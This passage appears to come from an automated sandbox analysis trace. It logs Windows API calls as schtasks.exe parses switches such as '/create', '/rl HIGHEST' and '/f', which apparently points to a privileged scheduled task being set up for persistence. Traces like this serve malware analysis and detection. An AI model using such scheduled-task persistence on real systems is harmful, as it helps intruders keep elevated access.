lpSrch="|rl|") returned 0x0 [0066.257] SetLastError (dwErrCode=0x490) [0066.257] lstrlenW (lpString="change") returned 6 [0066.257] lstrlenW (lpString="change") returned 6 [0066.257] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.257] lstrlenW (lpString="rl") returned 2 [0066.257] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.257] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|change|") returned 8 [0066.257] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.257] lstrlenW (lpString="|change|") returned 8 [0066.257] lstrlenW (lpString="|rl|") returned 4 [0066.257] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0066.257] SetLastError (dwErrCode=0x490) [0066.257] lstrlenW (lpString="run") returned 3 [0066.257] lstrlenW (lpString="run") returned 3 [0066.257] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.258] lstrlenW (lpString="rl") returned 2 [0066.258] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.258] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|run|") returned 5 [0066.258] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.258] lstrlenW (lpString="|run|") returned 5 [0066.258] lstrlenW (lpString="|rl|") returned 4 [0066.258] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0066.258] SetLastError (dwErrCode=0x490) [0066.258] lstrlenW (lpString="end") returned 3 [0066.258] lstrlenW (lpString="end") returned 3 [0066.258] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.258] lstrlenW (lpString="rl") returned 2 [0066.258] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.258] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|end|") returned 5 [0066.258] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.258] lstrlenW (lpString="|end|") returned 5 [0066.258] lstrlenW (lpString="|rl|") returned 4 [0066.258] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0066.258] SetLastError (dwErrCode=0x490) [0066.258] lstrlenW (lpString="showsid") returned 7 [0066.258] lstrlenW (lpString="showsid") returned 7 [0066.258] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.258] lstrlenW (lpString="rl") returned 2 [0066.258] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.259] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|showsid|") returned 9 [0066.259] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.259] lstrlenW (lpString="|showsid|") returned 9 [0066.259] lstrlenW (lpString="|rl|") returned 4 [0066.259] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0066.259] SetLastError (dwErrCode=0x490) [0066.259] SetLastError (dwErrCode=0x490) [0066.259] SetLastError (dwErrCode=0x0) [0066.259] lstrlenW (lpString="/rl") returned 3 [0066.259] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0066.259] SetLastError (dwErrCode=0x490) [0066.259] SetLastError (dwErrCode=0x0) [0066.259] lstrlenW (lpString="/rl") returned 3 [0066.259] GetProcessHeap () returned 0x240000 [0066.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c6b0 [0066.259] GetProcessHeap () returned 0x240000 [0066.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf40 [0066.259] SetLastError (dwErrCode=0x0) [0066.259] SetLastError (dwErrCode=0x0) [0066.259] lstrlenW (lpString="HIGHEST") returned 7 [0066.259] lstrlenW (lpString="-/") returned 2 [0066.259] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0066.259] SetLastError (dwErrCode=0x490) [0066.259] SetLastError (dwErrCode=0x490) [0066.259] SetLastError (dwErrCode=0x0) [0066.259] lstrlenW (lpString="HIGHEST") returned 7 [0066.259] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0066.259] SetLastError (dwErrCode=0x490) [0066.260] SetLastError (dwErrCode=0x0) [0066.260] lstrlenW (lpString="HIGHEST") returned 7 [0066.260] GetProcessHeap () returned 0x240000 [0066.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d6e0 [0066.260] GetProcessHeap () returned 0x240000 [0066.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf70 [0066.260] SetLastError (dwErrCode=0x0) [0066.260] SetLastError (dwErrCode=0x0) [0066.260] lstrlenW (lpString="/f") returned 2 [0066.260] lstrlenW (lpString="-/") returned 2 [0066.260] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.260] lstrlenW (lpString="?") returned 1 [0066.260] lstrlenW (lpString="?") returned 1 [0066.260] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.260] lstrlenW (lpString="f") returned 1 [0066.260] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.260] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.260] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.260] lstrlenW (lpString="|?|") returned 3 [0066.260] lstrlenW (lpString="|f|") returned 3 [0066.260] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0066.260] SetLastError (dwErrCode=0x490) [0066.260] lstrlenW (lpString="create") returned 6 [0066.260] lstrlenW (lpString="create") returned 6 [0066.260] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.260] lstrlenW (lpString="f") returned 1 [0066.261] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.261] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.261] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.261] lstrlenW (lpString="|create|") returned 8 [0066.261] lstrlenW (lpString="|f|") returned 3 [0066.261] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0066.261] SetLastError (dwErrCode=0x490) [0066.261] lstrlenW (lpString="delete") returned 6 [0066.263] lstrlenW (lpString="delete") returned 6 [0066.263] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.263] lstrlenW (lpString="f") returned 1 [0066.263] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.263] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|delete|") returned 8 [0066.263] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.263] lstrlenW (lpString="|delete|") returned 8 [0066.263] lstrlenW (lpString="|f|") returned 3 [0066.263] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0066.263] SetLastError (dwErrCode=0x490) [0066.263] lstrlenW (lpString="query") returned 5 [0066.263] lstrlenW (lpString="query") returned 5 [0066.263] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.263] lstrlenW (lpString="f") returned 1 [0066.263] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.263] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|query|") returned 7 [0066.263] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.263] lstrlenW (lpString="|query|") returned 7 [0066.263] lstrlenW (lpString="|f|") returned 3 [0066.263] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0066.263] SetLastError (dwErrCode=0x490) [0066.263] lstrlenW (lpString="change") returned 6 [0066.263] lstrlenW (lpString="change") returned 6 [0066.263] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.264] lstrlenW (lpString="f") returned 1 [0066.264] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.264] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|change|") returned 8 [0066.264] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.264] lstrlenW (lpString="|change|") returned 8 [0066.264] lstrlenW (lpString="|f|") returned 3 [0066.264] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0066.264] SetLastError (dwErrCode=0x490) [0066.264] lstrlenW (lpString="run") returned 3 [0066.264] lstrlenW (lpString="run") returned 3 [0066.264] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.264] lstrlenW (lpString="f") returned 1 [0066.264] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.264] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|run|") returned 5 [0066.264] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.264] lstrlenW (lpString="|run|") returned 5 [0066.264] lstrlenW (lpString="|f|") returned 3 [0066.264] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0066.264] SetLastError (dwErrCode=0x490) [0066.264] lstrlenW (lpString="end") returned 3 [0066.264] lstrlenW (lpString="end") returned 3 [0066.264] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.264] lstrlenW (lpString="f") returned 1 [0066.264] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.265] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|end|") returned 5 [0066.265] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.265] lstrlenW (lpString="|end|") returned 5 [0066.265] lstrlenW (lpString="|f|") returned 3 [0066.265] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0066.265] SetLastError (dwErrCode=0x490) [0066.265] lstrlenW (lpString="showsid") returned 7 [0066.265] lstrlenW (lpString="showsid") returned 7 [0066.265] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.265] lstrlenW (lpString="f") returned 1 [0066.265] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.265] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|showsid|") returned 9 [0066.265] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|f|") returned 3 [0066.265] lstrlenW (lpString="|showsid|") returned 9 [0066.265] lstrlenW (lpString="|f|") returned 3 [0066.265] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0066.265] SetLastError (dwErrCode=0x490) [0066.265] SetLastError (dwErrCode=0x490) [0066.265] SetLastError (dwErrCode=0x0) [0066.265] lstrlenW (lpString="/f") returned 2 [0066.265] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0066.265] SetLastError (dwErrCode=0x490) [0066.265] SetLastError (dwErrCode=0x0) [0066.265] lstrlenW (lpString="/f") returned 2 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x25deb0 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cfa0 [0066.266] SetLastError (dwErrCode=0x0) [0066.266] GetProcessHeap () returned 0x240000 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0) returned 1 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3c0) returned 0x8 [0066.266] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0 | out: hHeap=0x240000) returned 1 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0) returned 1 [0066.266] GetProcessHeap () returned 0x240000 [0066.266] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdf0) returned 0x20 [0066.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0 | out: hHeap=0x240000) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce20) returned 0x1e [0066.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20 | out: hHeap=0x240000) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce50) returned 0x20 [0066.267] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50 | out: hHeap=0x240000) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] GetProcessHeap () returned 0x240000 [0066.267] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c450) returned 1 [0066.267] GetProcessHeap () returned 0x240000 [0066.268] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c450) returned 0x8 [0066.268] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c450 | out: hHeap=0x240000) returned 1 [0066.268] GetProcessHeap () returned 0x240000 [0066.268] GetProcessHeap () returned 0x240000 [0066.268] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80) returned 1 [0066.268] GetProcessHeap () returned 0x240000 [0066.268] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce80) returned 0x20 [0066.268] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80 | out: hHeap=0x240000) returned 1 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c470) returned 1 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c470) returned 0x10 [0066.269] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c470 | out: hHeap=0x240000) returned 1 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0) returned 1 [0066.269] GetProcessHeap () returned 0x240000 [0066.269] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ceb0) returned 0x20 [0066.270] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0 | out: hHeap=0x240000) returned 1 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c490) returned 1 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c490) returned 0x8 [0066.270] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c490 | out: hHeap=0x240000) returned 1 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0) returned 1 [0066.270] GetProcessHeap () returned 0x240000 [0066.270] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cee0) returned 0x20 [0066.271] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0 | out: hHeap=0x240000) returned 1 [0066.271] GetProcessHeap () returned 0x240000 [0066.271] GetProcessHeap () returned 0x240000 [0066.271] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5e0) returned 1 [0066.271] GetProcessHeap () returned 0x240000 [0066.271] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5e0) returned 0xc4 [0066.272] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5e0 | out: hHeap=0x240000) returned 1 [0066.272] GetProcessHeap () returned 0x240000 [0066.272] GetProcessHeap () returned 0x240000 [0066.272] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf10) returned 1 [0066.272] GetProcessHeap () returned 0x240000 [0066.272] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf10) returned 0x20 [0066.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf10 | out: hHeap=0x240000) returned 1 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c6b0) returned 1 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c6b0) returned 0x8 [0066.273] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c6b0 | out: hHeap=0x240000) returned 1 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf40) returned 1 [0066.273] GetProcessHeap () returned 0x240000 [0066.273] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf40) returned 0x20 [0066.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf40 | out: hHeap=0x240000) returned 1 [0066.274] GetProcessHeap () returned 0x240000 [0066.274] GetProcessHeap () returned 0x240000 [0066.274] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6e0) returned 1 [0066.274] GetProcessHeap () returned 0x240000 [0066.274] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6e0) returned 0x10 [0066.274] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6e0 | out: hHeap=0x240000) returned 1 [0066.274] GetProcessHeap () returned 0x240000 [0066.275] GetProcessHeap () returned 0x240000 [0066.275] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf70) returned 1 [0066.275] GetProcessHeap () returned 0x240000 [0066.275] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf70) returned 0x20 [0066.276] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf70 | out: hHeap=0x240000) returned 1 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25deb0) returned 1 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25deb0) returned 0x6 [0066.276] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25deb0 | out: hHeap=0x240000) returned 1 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfa0) returned 1 [0066.276] GetProcessHeap () returned 0x240000 [0066.276] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cfa0) returned 0x20 [0066.277] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cfa0 | out: hHeap=0x240000) returned 1 [0066.280] GetProcessHeap () returned 0x240000 [0066.280] GetProcessHeap () returned 0x240000 [0066.281] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x2555f0) returned 1 [0066.281] GetProcessHeap () returned 0x240000 [0066.281] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2555f0) returned 0x18 [0066.281] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2555f0 | out: hHeap=0x240000) returned 1 [0066.281] SetLastError (dwErrCode=0x0) [0066.281] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0066.281] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0066.281] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0066.281] VerifyVersionInfoW (in: lpVersionInformation=0x1fc750, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1fc750) returned 1 [0066.281] SetLastError (dwErrCode=0x0) [0066.281] lstrlenW (lpString="create") returned 6 [0066.282] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0066.282] SetLastError (dwErrCode=0x490) [0066.282] SetLastError (dwErrCode=0x0) [0066.282] lstrlenW (lpString="create") returned 6 [0066.282] GetProcessHeap () returned 0x240000 [0066.282] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cfa0 [0066.282] GetProcessHeap () returned 0x240000 [0066.282] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d6e0 [0066.282] _memicmp (_Buf1=0x25d6e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.282] GetProcessHeap () returned 0x240000 [0066.282] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d700 [0066.282] SetLastError (dwErrCode=0x0) [0066.282] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.282] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0066.282] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0066.283] GetProcessHeap () returned 0x240000 [0066.283] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25deb0 [0066.283] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25deb0 | out: lpData=0x25deb0) returned 1 [0066.283] VerQueryValueW (in: pBlock=0x25deb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1fc838, puLen=0x1fc8a0 | out: lplpBuffer=0x1fc838*=0x25e24c, puLen=0x1fc8a0) returned 1 [0066.283] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.283] _vsnwprintf (in: _Buffer=0x25bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1fc818 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0066.283] VerQueryValueW (in: pBlock=0x25deb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1fc8a8, puLen=0x1fc898 | out: lplpBuffer=0x1fc8a8*=0x25e078, puLen=0x1fc898) returned 1 [0066.283] lstrlenW (lpString="schtasks.exe") returned 12 [0066.283] lstrlenW (lpString="schtasks.exe") returned 12 [0066.283] lstrlenW (lpString=".EXE") returned 4 [0066.283] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0066.284] lstrlenW (lpString="schtasks.exe") returned 12 [0066.284] lstrlenW (lpString=".EXE") returned 4 [0066.284] lstrlenW (lpString="schtasks") returned 8 [0066.284] lstrlenW (lpString="/create") returned 7 [0066.284] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.284] _vsnwprintf (in: _Buffer=0x25bdf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1fc818 | out: _Buffer="schtasks /create") returned 16 [0066.284] _memicmp (_Buf1=0x25bc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.284] GetProcessHeap () returned 0x240000 [0066.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf70 [0066.284] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.284] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0066.284] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0066.284] GetProcessHeap () returned 0x240000 [0066.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257cb0 [0066.284] _vsnwprintf (in: _Buffer=0x25c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1fc818 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0066.284] GetProcessHeap () returned 0x240000 [0066.284] GetProcessHeap () returned 0x240000 [0066.284] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25deb0) returned 1 [0066.284] GetProcessHeap () returned 0x240000 [0066.284] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25deb0) returned 0x74e [0066.285] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25deb0 | out: hHeap=0x240000) returned 1 [0066.285] SetLastError (dwErrCode=0x0) [0066.285] GetThreadLocale () returned 0x409 [0066.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.285] lstrlenW (lpString="create") returned 6 [0066.285] GetThreadLocale () returned 0x409 [0066.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.285] lstrlenW (lpString="?") returned 1 [0066.285] GetThreadLocale () returned 0x409 [0066.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.285] lstrlenW (lpString="s") returned 1 [0066.285] GetThreadLocale () returned 0x409 [0066.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.285] lstrlenW (lpString="u") returned 1 [0066.285] GetThreadLocale () returned 0x409 [0066.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="p") returned 1 [0066.286] GetThreadLocale () returned 0x409 [0066.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.286] lstrlenW (lpString="ru") returned 2 [0066.286] 